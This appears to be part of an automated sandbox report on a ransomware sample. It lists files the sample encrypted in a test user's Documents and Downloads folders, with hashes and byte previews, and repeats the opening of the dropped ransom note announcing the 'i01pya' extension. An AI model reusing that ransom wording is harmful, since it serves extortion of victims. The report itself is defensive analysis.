            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Documents\SUAVTZKNFL.png
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.84362168277708
            Encrypted:false
            SSDEEP:24:ETHNGs3uu63dQQIXFokKbmg4xgJxFLftedN8uAlvuJTniqOsDPVt5Bf:ErkvvIGl/y8uOvuJTniPsDPVt5Bf
            MD5:03DFC9393CBA188EA8C6E10AA8D17135
            SHA1:C756F3390022F6A0DE0B1E61B39A88FAAFFC14E6
            SHA-256:2E6CFFA0270789E6B1E4C11F2F3760DD2E99D2228C692D80C3A9B767FE1DDED9
            SHA-512:131BF77331E048FEE4CE114CB031250966DAE822CE84D5060980B4EB7A242C4C23CF7CFFCE129EA972B61C6A8BF0E9FB99E1B69488F072AC68CF0369F5050C88
            Malicious:false
            Preview: .(=.E..B.!4>.e..?^..V.>yy .=. .5...em.U...AOv.p.i.e.5......h.........}...3j.gn...u. .....Ds.S.......=d.Z....$..N<..)`.ek..h#pr...9V...F..=.....(w..h1k..*O-C.7.J[&.U..9..&.Im..R.c.K..J....Q)..2".;M..'.Zz.I..lJ.....V!.]....&..J.._....4...@...!.]~.H..q:.)[.).@..U.<.d...\>a..J..::.@....&{.-.e_.^....c.8W.&v.....w..,.8. .@u........9R...%..=.Y.0...X6..........x....:..9...L`.^;B@..0q/.P.[Ez..a)....:5...._.o .We.>.....(..:a.d<.......$.Q\......X.......Q..F..:.w..e...d.X............q....j0p.......2.K....3..Bp.. .."4.....R.#zM*v.[..J{..|..JL..;Z..JY..p.t.v.......A..X.cN.Q.....fQ.Z&.D..(HBFW...#.tq..Pn..x.)8..[I.....%).1.,..1.=...E.e.z.8.}...p.A...5.Z.3...,........V..o.t@6"K.J.....w..e+*..8.@a..&.D..s3..Lf..8..Z&)w.3..;a.9...&..+..;l..dI.~z....M..........n.....3.g.,........X.}9#....G.R..%..G.....g..W...D.f...8.21-..o6."04.........m{.i.....L.4..../.hN.;ODW*'.:v..Q......e.......+gpA7...X..4....M...b..&..l...m.7H.h.(.If7v...G.-U....D...._.M}.c..'..
            C:\Users\user\Documents\ZGGKNSUKOP\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Documents\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Downloads\BJZFPPWAPT.mp3
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.8282185017339145
            Encrypted:false
            SSDEEP:24:wwp2M27gbu7rc0kl1Ok6NWbLOaS8ktJcJEVjVFhUcjbNxNbU/9blvuJTniqOsDPO:t2M2867rPe0NuLOaSxQJEVjJUcjxbU/9
            MD5:06951464725C0EBDCA0DD9F6B93ACF6A
            SHA1:F1FC80DEDF641703C64CD3F258062586B4FE561A
            SHA-256:BE7EF93C49194E5937F0C7F45C4D913D9B38EA7D6B782ADF076E4BBA82404E09
            SHA-512:83A2ADB5377733CFAF441A2C4CBEB0C749154BD1517F7ECDC1C79C91072FAF2E0E8294DEBAFE6A3010A75E2E41D89DEB5F907A6B5A733C891765458CBF12DDB1
            Malicious:false
            Preview: ..........=..Va.;G...;-..PI........W.x..w...F.`v........,...z...G.y.1...._JF|P..f....n....N...W.L{......xp2........u{.M.f..-1XD............KA.. P.......^<K..\U.A.CRQ..8G*.9x.%.q83 z..{.Q.A.9. .......m.D.{...(...9"..z`....XDF..7C."....uV..N..K...L... .m<....N..ub....i.%ZWT.|Q.81.......FU...F?...._3....PLo*..?.3..i......d.;.t.#.v...e..h7.......P.5....%...Qa..Fc..[..Q[.P.0m?....iy.&.T...t_...{X t....|.o..*..L....b....4.R.k.-..|<.y#.KG).|.d_K..2...b....~Q_....^p..Kl3...Q.q..a.tw.y...5#!..,u9...+.e|..6..>...t<4'.G..n}q.>.fU]:...ai}..:..#..........A.#....P.d4......'.../[e..C.4re....y.~.i...(.`L..;.F.&c.i........<..~_M.9..7t>......{.i=.%.LT......]8...N.$.B.4Nz..\..@$...L..>2>46.....j..G.!%..X{~....'.....?.q..U..kv.A......(...:.^...b..'.T...L.%. .,..{;L...1..KM..T?i.V....T..q9.=. .8y.n@x.G..$z.aVy..j...f[s7...u............-...^.k.........c7M..{..3..P/......}.....q.g6......p.4.........k4...u.....FY?.bR.AtG[...+L..R.kE.......<.!...A.. \Z@.P
            C:\Users\user\Downloads\BNAGMGSPLO.pdf
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.791726281724274
            Encrypted:false
            SSDEEP:24:oPJdO2x7QLe4PhL3PbplV2O1eSM6LVvJLNed+oPLtrlvuJTniqOsDPVtp:oPe22P5PbplrU7uvJUPLXvuJTniPsDPR
            MD5:C72083EF48669E34C7666E9DF02B83E2
            SHA1:ED463F620694A204F8937921C5946530DFAB24C0
            SHA-256:3F067B5B90B5DCB108606B3267F6B3F744E650FD7BDCD7D061A22B5DAB940570
            SHA-512:D8521306B55B043CD40A354E3DA73093290B9E97FFC58C51262932445535EDDEDD6DD3774F193795DF7CC979442B59BE23A6C7CAC347E35CBF7A1C3BFD1BD664
            Malicious:false
            Preview: S.xP.]iB...Ek.......Q:.|..[.{.P..D.*S.....(%.EU.~/Z..$6..J..P.Ig.Opb... ...p....FZ|.>H..].x..Z!..?G.Gb..)i...;(...2|9,...e0.....DE..aC.#.....#M..s.....O...+h.f.j.J......w..k..fT[.1.dl~u...z.J.(...\..mJS..dr...(..?.jD.U..Bl%D.p.4...M..(d...8..Fy/yW.?r.zX..%...:;.j.S.k*.Q>/o1...Cvw...v8.i.e4 .~........h.2..s.{=.J....o.....%,..*.........u....M8]... d...%A^.H...(.]...].P...%.......U.H..avtJ3m)..kg.]..$..'....|M.`P....7.Z.Cz`.M..3_...U.o..P..F...&..'..%...H.M...Nq..N...]....c}.E..=..!.}.Q.7.,.c.u). ..I.j.!....../M.?...P.E...m..Z8..(...+GD...P.........?....F/..e.=dG.O.t8r.g]._..cG.Zp&.d.((t.q.8/w...2.7...i.f...55...D2......0......2n..p17g._pr..|..q..._a.*..c...1a@..`....(v..om..`)....j=2.......z..K...i.SRe.7...Q.M...:.R[.'."...].rM.3...u.1..q.../\.^...T.....8......f..~....~..l.Q.'.C.s...t..@. ..5. .jl..cDK..(.l_i..._F.k...m..v.QC...4.....o....f[.O.&. ..$...'.....7qe...........*%.?.}.c[._mG..o...xavbq.p....(`..a=._.....Gq..E.6..R._;.N..P|...?z. ..-
            C:\Users\user\Downloads\EEGWXUHVUG.jpg
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.82654878453789
            Encrypted:false
            SSDEEP:24:GU5hzD0JJKmqHwDbmtWwd6mHh0d2NQmfqXKGQB80D/LlvuJTniqOsDPVtv5:ppOyQDbmtIO0d2NQyqXI/hvuJTniPsDR
            MD5:3D2418C9708B19B4CE7A8926B52E4F6F
            SHA1:57C81529AB5BA9D185A4F626A5E02FC5612A2929
            SHA-256:1824DB1F42837C7627F76D3D072A79579033EBA7D57CE54804E64B5992DD9059
            SHA-512:8F5CDA924675283479C0D2868A127C345D02445DC10084AFD6F7109FF0D88B0720F52B1DBC2DE8DD9A3FB514A7A55EC6D5B196C974FF5F76FE97E19318D9E31E
            Malicious:false
            Preview: ..z.....ohP$V.....d.1.`tC..:M.8<.n....7.R.Y.H........H.$'zA...zdA{.7.qv..7.j.d.....'.\....X...x-.v2\j..W..1u.J.].."{f.....EAZ..6..0..eN.6.m...I_.\...?..BL$Qn.%H.'<i).n.....u.+2.+.3.2...p.)...)P..k.M....T.|X......C.W.j..s. a.)....CL...N.y...'..1;.G|}.n.a.l/.......>Q.... ..._C........._.f$4i.(/.....V.^...B....{.f.c../.....T.zR5..i.......C\O..pl...s..o. ...v.....A-YW..`...".a{#.. .]vQ.O.....A.C...[..L.....D?....VN...y..`f..U.&..%`["y.T........l...w...a2.o...FE.....)G,5...|...F>.=.s7..R...T@..1.../.....a..6U.(..........j@E.h;Xu{"....a.q..]..).[..G._We...c.0'..@.7..Q.D...c.o_/8........`..O..u.?oA.C`.R."...).......d,.)9.....#....L...R@x.....X....+.k..._M....zB.`.....v.....\..z...N@..:.:..pU:...R....y.u.#.>...;h".]....t)h..2..^.. CE..Q@.+..z..Y...%..B....p.,..D...eE.=7pw.t:...|&..o=.......:...H......&F...........w.....).y..C.b.....jV..!....9vf.A.=.t,./!A.F.;/_Y.hd......e....&.IS..!..s..........iu.O...YqE/...j..>.k.%>..(n.6J.2_....e..u.
            C:\Users\user\Downloads\EFOYFBOLXA.png
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.815773371489031
            Encrypted:false
            SSDEEP:24:oL6rUICqn8RFoLeLpXkUDMHu+nS6gwxChzPG/pJ3lvuJTniqOsDPVtIxt9Z:i64jEEXS7nSLw8hzg/1vuJTniPsDPVtY
            MD5:C1279988EA383F8218EE74AA46448294
            SHA1:739769EE09096AA0FF0A6EDC405AA8F45F0CA77E
            SHA-256:FF6212E6C14541459DF34DA16050AF6C0DF8AAAC3EB6D736E625AF9F001E9BEC
            SHA-512:5328EEDD6F3594F5154038F9B8D9F3BEFEF6FD72602E5216C7B6995E3C0D4DC3CE436DD74071566B1788A59A76B85295794CC4F104791398F90FF0199ADDCA82
            Malicious:false
            Preview: .L.f...<....q.$..S...z....|.......0,R..0..!.>.:.0>}...ax.n_..?...1.....5..M....Z..*....i.R.@\T.....i..46.....Mm7Kco..b58Z.`0..9@..0<.72D;>.8.k]!...p...$.-....m%..v.G.(.:.N...D?vK*..S...3.l....&....Xf$zEpB...-....p..o...kT......9...$U..B.....B.l..Q.0..........k.^..W....!.....{.u....<..c3.Gcz~a.....s.3.o..v3k..B..3.?...;.>.L...M,....%.X.uY..q....J..u..p.;.....o....F`.:.B....*kw..IT ....wo^!............0..64,...r[.Qc."s_.L.$....G0..... .f.q.~...^..%.t_./$.f...f. .?..6r......]=N.NmC...v...y.L.S7..{{|.a.e......,.<.O"jr...q....o..7Y....`J..}..[.%fF......}-.(... ..x.....!R....K..v..ZJopI.i.O...[...}.S>D...E.38BG.=k"t.....f....../..z.q@.`....rC.#.......6.".Z=|as@<..Z!.cI....$.=.........;.w....6......2.,D.r#..Z..M..+...j...H..b.....M;..y$.K..B.A.]n.....VA=.i!..+..V!.cVj.4"...>L..j..|.9.E.(9s8.q.....$...V.V%.8..]....J....$........(QV.Q.os'....h..f.C!.|......R.+*...5..7....u.9.W5.8-.B...}j..U...#.......w...XU+-x..rSO>.yw8....C.eA....r.S.h.w.
            C:\Users\user\Downloads\GAOBCVIQIJ.docx
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.809208603356132
            Encrypted:false
            SSDEEP:24:jTDNtH+/qXv6sEPDB0TeQbaVoQedjcGckMrE5xGdk/TJlvuJTniqOsDPVtO5P:jT/bKLBLQ2mTNYE5sdkrjvuJTniPsDPO
            MD5:79631DAA4342EF9A8D62D71A3E4E1BF3
            SHA1:1011BE5931AD4BAF68DCFA03B32CFDD207F5FC27
            SHA-256:BBBEE79C6B0E8E3B93B71CF3B5E0CA6441E55FE1A406E2E37876AACB07B94993
            SHA-512:CF333160A3B6B1B79B94BF472EBEFA58DB50B8E3DA3330DB0B2364CA530BBB14D3FBA1E4E99C57BE60C268975DE4C4810D8C02FBB45E4DB03995F9331908C4EF
            Malicious:false
            Preview: ..0..........@...o.*.l....y.F.e9.J`../........(...~A./.s..Kt...9e7@...<ja.J.l...^.........YGs...].l.J'.wu.}.......s.......s.N(>...q...Y.>.....:...../.S...B.u....f.J....C..eY.Yz...as...gjb".......7..J}.Y.TsXI....Qq..w=9. ?..E....T?...M.y....VO..,.;.^...7G.U1.6 P..=....X4Du[{...w..X6.v.K....0........R.-...f........m.(......9.N..N.4.Q.>}...9<]..V.O..&.c........2.Q...../P.Gi.5..o.X. v.z].j.v{..L^...X..1..........o.dM_i.L....o.s..T..?G{/...( .[..5....~..=..>.4..4..T..q...f...u....t..Xl.s..k......e..s..q..{3>.9K...RK..C.@...........G....I...+..>.t........[-....L.d.r............Rl..x..i....yw.stc.......<4../H..|..].7f.1...8...7...~..ZeS.G..T.......p..w d8.O.B.C..Tw{`.x.....pI.X:.J..u...T..z..G.)..t.....v....q..&...C.....d.2.....}...<.....P....+...p..........3}c.....?.wH.....l1....[...:.e.S.....H>.%..{KDYE..4.<....e5v.wO.S...u.tT...I.z*C....!......(.<.1,.)J.m#4o.t-..{.{......).Dq.c.^..........&4...F...f.e....x..s...ak..%..........
            C:\Users\user\Downloads\PIVFAGEAAV.mp3
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.811639670807006
            Encrypted:false
            SSDEEP:24:ed6uT/QVVPzzBWm1Iro3nuKPQHu7clWVPnrVrG9elvuJTniqOsDPVtpyw:a6urwVzFWmnuIYuMWR9vuJTniPsDPVtx
            MD5:6F738147B014B712FF0DA30FB8F733A4
            SHA1:F0A2463A7E8BE2F742EA592538D4B915E590899E
            SHA-256:E78EB925FC4344B85AA3DD0A0ECC89808985BFE6D3FA5AA4B1D37F1611CE8403
            SHA-512:CBB4C9FDE3C0F34E4027B38E7BC16F7C3C21279794B562F309B1B81F2871BCD79DF7C128C98AE726ABE235BF2B1F3191BF01C4F7C619122B34AA1E7F7A330713
            Malicious:false
            Preview: _....qH..0....IN}Z....!.p:...+..S.]\.t.i.....^!......-....].$.9..~K....0].8_...K..'.F(....g...#^...k-.S>n...:7...M.........^s.i........^.#.6..m.g."+...l&=.h.G..s6........+6..,e..pe*h7.....n.;c.....~....yl.....R$..=/2Y..... S.S..."VT....G....l..+.-.i...74.c%Z..b./.-.1..D.x^q.r..r.,.....x..@m.B....z..G.-....Z/:N..v.....C^,U_..+.]...f...7......"^......ID.)].#....ZGih......w...S../s.=....j.f'."p.....u..I...F`......U....5...b....E.=Y..>xm...O.6......i..1......z8.s=..?-o/dFw........Bw... =...P.....~k.c....UaE:*G.i/ok...yd.../.R.W.1d.L.!U...Z.V.-l=..3MU..........xuC.../.R@.......?.@.6:.....Y..F..... .9.......J._D..3!. O...0e:.....F.h.r..K.RM~..(N...d..?..\.RQ....L\R$X....^*..,*.A.ix.'4.|b.3...>.7KE..rY...x.............."..@.v..^.R<.UAK...7*Z.+O<1....H..zA.R..S.(.4.&.X...'@..E....i"...e/..l-z..r..l<<..V2o...%.K.....2....C.......8.-T"S.z..3.C:2.+.T.3U.....!..._x+x.......4D.!.. ...'k|".s....t._..tt..Ik...4....FY...$.e......i...=..e..<Z..
            C:\Users\user\Downloads\PWCCAWLGRE.jpg
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.835588153599887
            Encrypted:false
            SSDEEP:24:xeTRMmYTL0BhYvWxIx0HFs+AvRKVpz4hhM9ayUeZlvuJTniqOsDPVtGe:iRMmK0BhYvd2W+uRopEHM9VUezvuJTnT
            MD5:4DA1C329A4B11B9F30A3EF68AA9965D5
            SHA1:625337C01279D78439E80B6822DACCD8402771E2
            SHA-256:890308C9CC5561FEE9DD3270197B3E175126E536EBFB8E306867122746E8F186
            SHA-512:52B3C1E0CE14DA5E5989E435F5538C3278D9C81CE5015657E7DE8E6BF6458EF7A798E2C94EA10DAE9F9FA4E77F3EDE644ED260999A71769EF1EAC7D900BE8D6A
            Malicious:false
            Preview: .DAiU=.Z.6.j.^....mz...{..{..e....n.t..i.......K..$.{:/d..!...=x.j=....&.q..B.......,C.Vo.....$V..|..D.1.^....~<'&...u.....p}....q.I..[&.Y.,..=..2P.....S..D.P.i...4{^j.._.Q....>........j...\..?.,,..N..Mj..7m.....`..K.D...h....v....9.n5.Zg.<A.bc.?cS.....u....*..........U..x{X0...J..L.6....9.r..V>..XF...N........+.2~_j...'.....utC1#..H.....E.rk......;Z...88&,a....~k.l...'.3..=1....?\?.~F.P..8..DN>..D....#_|m..*#.Lg....1.....G.......^.L.kd....M.....b...v.{/..3..\i..(Y......:.....]cA...vHQS..0..R*'!..1O..f...g.M...9.?.i.W..f.6-..N......F.q...%.D...%...O..rd.Oe*).4g....;TZ.....F..Z....0J3.O.......Ps.E.8..W.mT...l...uE.7...".`.^%...y.B..Q.kF........3.m?~..z....y.....i+!.S.,._.e...`..2......7~....zm.o.%.....r......@...?........h.u.-..U..V...;a.[[.v.....A[J,....ggJ.4..Om....E...?;#..a.4.hnw.?./......w;MZ..&..X.H.4v.....8.G...t`..'...gB0.-;....4.B.5\.....v$...,a.,.S......9.`Y.).8...<..........p.=.G7{v.I.#...8..Z.!.}.m...5/c|...Es.ZsO.....>|n...C"Q....v.;...\..
            C:\Users\user\Downloads\QCFWYSKMHA.docx
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.826768407938005
            Encrypted:false
            SSDEEP:24:jXErYimSCPPChc8u8GuCvhpf5MqvNhSUO/DwTRUfjQDrNi5ElvuJTniqOsDPVtDh:DWoSS38GuQhlqEkUOkTRUEDrpvuJTniy
            MD5:387920989951CB8AB8C30019E8F13860
            SHA1:A512C16CCC6FBF2576E5BDC00D35ECA15A50B3A1
            SHA-256:3D12E15C9477C3E62EEE96358D7A838D460D4751D738DFE03ABB2D2C56F37612
            SHA-512:1EECEC0D9CD491977B8DC6FA1A97314FD7BD46962DBA49965CA44F17336ED6C28D42EBF63EBBB55E1EA62C8B94EA4C54515A3348579533B079A557600A17576C
            Malicious:false
            Preview: 7R.V.U...Y.i,B.-.....I.."....Epns..z....(.K!..KFd..ko....7..h*9v...L.e..9,$^Bx.A..5=V..&...N..j.\&V9....l....U.P.....^....`..x-..7m.LF..J...)]:b...J..;Sc1..?..M0z..[.h....3..U...Y[....3j..U%....7P..SS%.O. ..!b...l.....+v9.y..K:.5.v.&....v)..a.{2f...k..m.*...A....>....{t]k.!z.........G.7....1...^...aj"..2..u.T../..m..jj?.o...Z..T....V.L......x0..H..(d9.:.G~&.m....Z..#tL....x.-..D..g..d.ujJ%].{...%...Y2%..V..8|..WI..../U..x.z.0...(X_..Yl.......ME.#0......O.....#'..^._.+..b...^.<s..(5...%...>.5...S...X..=.q.W^1f..F..A.I.Tg......V. ...a...!..^.$.....+..<;...d9p..Ms..N....9...%...d.`...,-..c.h.2............yr...=...@....$.@..........W.}............ne../.....V$ ..D`.E..r.!..W...$5q.@..-..m.9g3\_..x..J....M7..]..f..JH0O.....w.'&.C..E....~\.1_R<.ecSD.nm.33A3@3..e.....W.3....-..5&m.}...A...$...0..u.[xi..!...+....`..?...e...y.Z..~s....g..!gx..)@5.I....N.i.:.(..L......z..(.J9 .........G.y.O.s...ja.z....3..".....g.{....w....#....8..$.....reS.....w.
            C:\Users\user\Downloads\QCFWYSKMHA.pdf
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.835188435329778
            Encrypted:false
            SSDEEP:24:1LIL9WUn3M9GKR5XqyBOzEDmYVcCFC+Il0DyeL/R8wlvuJTniqOsDPVt4n0:qV32n1jOzE7cqGIm+vuJTniPsDPVt40
            MD5:06182E40F09A523D7D71088DAD6DC9F2
            SHA1:D901034DCC9AD66730D8108220FD9842EA5CBC56
            SHA-256:DD0201B35F69E65668702D00631487903004CC11E5397717BEF15EFA11422F51
            SHA-512:F45D1BB35087ACBDDFEB7E99BEFE26901CEAC3A33EADB6E05D7561D3B4F2790016BFC6EEADCF0A54B3415C73D9A388C06CB32C462C1128ABA185B6A8BADCAE73
            Malicious:false
            Preview: .V...!......hm.c'....C..M.......p..=.W.].........M...:...=.Y.<...3..9?..u.....7...F ...N.Z.}."..a....8..A.|.....c.......l.X..$..;7.dU.7..R.~D.F..'....w.W>j.....3Pkow.m.>.w\.....C;..6.H..a2D...(....yD..As&.....).9m.C..r..C.[N.......bH..3...t...#..p.......0.F..F..t.=.......;......]i.Y...JrY.....!...c.#).... ........O.....}.d..?|{..y..._*..........K..3...|....tW..w...}..Ho*....L... ..T;.........-(,).77Q.H.......'....z!-5.is...h..r.L...r.M.az...^..s...I....Z.......b.......W..c"oX.J.:.3XG..Y.15....p8L...Y...&6a.v.i...(! .......l.,/r...h....T...z..#.Mqp*.cA.A.'.....j..G..C_...u..Y....:..*..}?.S.3...I..9...O.^.g.!6....qh...sWr.i.....$.*.-.2...~.j.m.`.an.E....%S`]G.^..P....'GQ...........@..(.Q.....$..&..)[...5n0[:.Z...9U..}..>..X..a.!.< ...t.......-.}.8.....*....>.S../...b.?..!(.J...Kl6..!.\.....a...N.Z..tg.Q.u.....].,;..O..N..H6j....V..._.*.K....8...|..L....&9.2.Q.`.>.....=..sE?K$aru?..I.3..o..F1.%..p...+.\.A..P._........>.hh.k..&.y.610=.%&...{7<`
            C:\Users\user\Downloads\QNCYCDFIJJ.xlsx
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.837770934880574
            Encrypted:false
            SSDEEP:24:Tx6qU6oM9GE2qmgrupXi0Oy3TWUYcpEqCsnj8I8e54NfepLUElvuJTniqOsDPVtO:TxRU6oMB2qmM8XiISUYcCAS9KAKvuJTK
            MD5:649D0A2232EB290E892A333A5A53C4BD
            SHA1:5BDE82E65B8B2B24B83378EE077980CC11744223
            SHA-256:36A629684D0AA9031C591B947576EF7B540298D3631D6FCEF714E59DB1944B5C
            SHA-512:2A63912C7E6E721A5A40E9E3FE305B665A6DE1F1F1D02536916D41E51C7CCB214D63140ECBA178F3B3CA0CE0147DFCC381AA50A9F6600988E9E777E76F492213
            Malicious:false
            Preview: .K..-K.M.....A.^....K~.~.V.q.*.E~.c...>'.P.j.y....c....`FP..q.....q$.Wh...`......e..uE5..u...8rdy.......e.b.~..3.Su^.:..}..g.tK.K.6A....fP=.N....~...Q~|@...<..y......."...r...%..M..U....'K:...F.m..!#...1.A....$..r..C....>#.l._.W.d..%e.....%..&$.*........d..G..B.....E..o...E...o.$..3.j.`.c$.l....J.....k>..J.....g...z`o.g.L5...].!,..T5..f6Y..j....o...JZC...0.bT.m.Z.+../.%n.i...>. ......@..co^.T.].....m..p>.0./aFm.?.x...$C..Br.AbL..I....}.t...N...).......p..3..<.USFJ-y....\.Q..0......F.......\.......7.....T....1..N\.SM.m.......qg.m./.b\...,.(..j......5I..v0...i^x$N...d....F..C]..8...3..Y'.....&.r_; 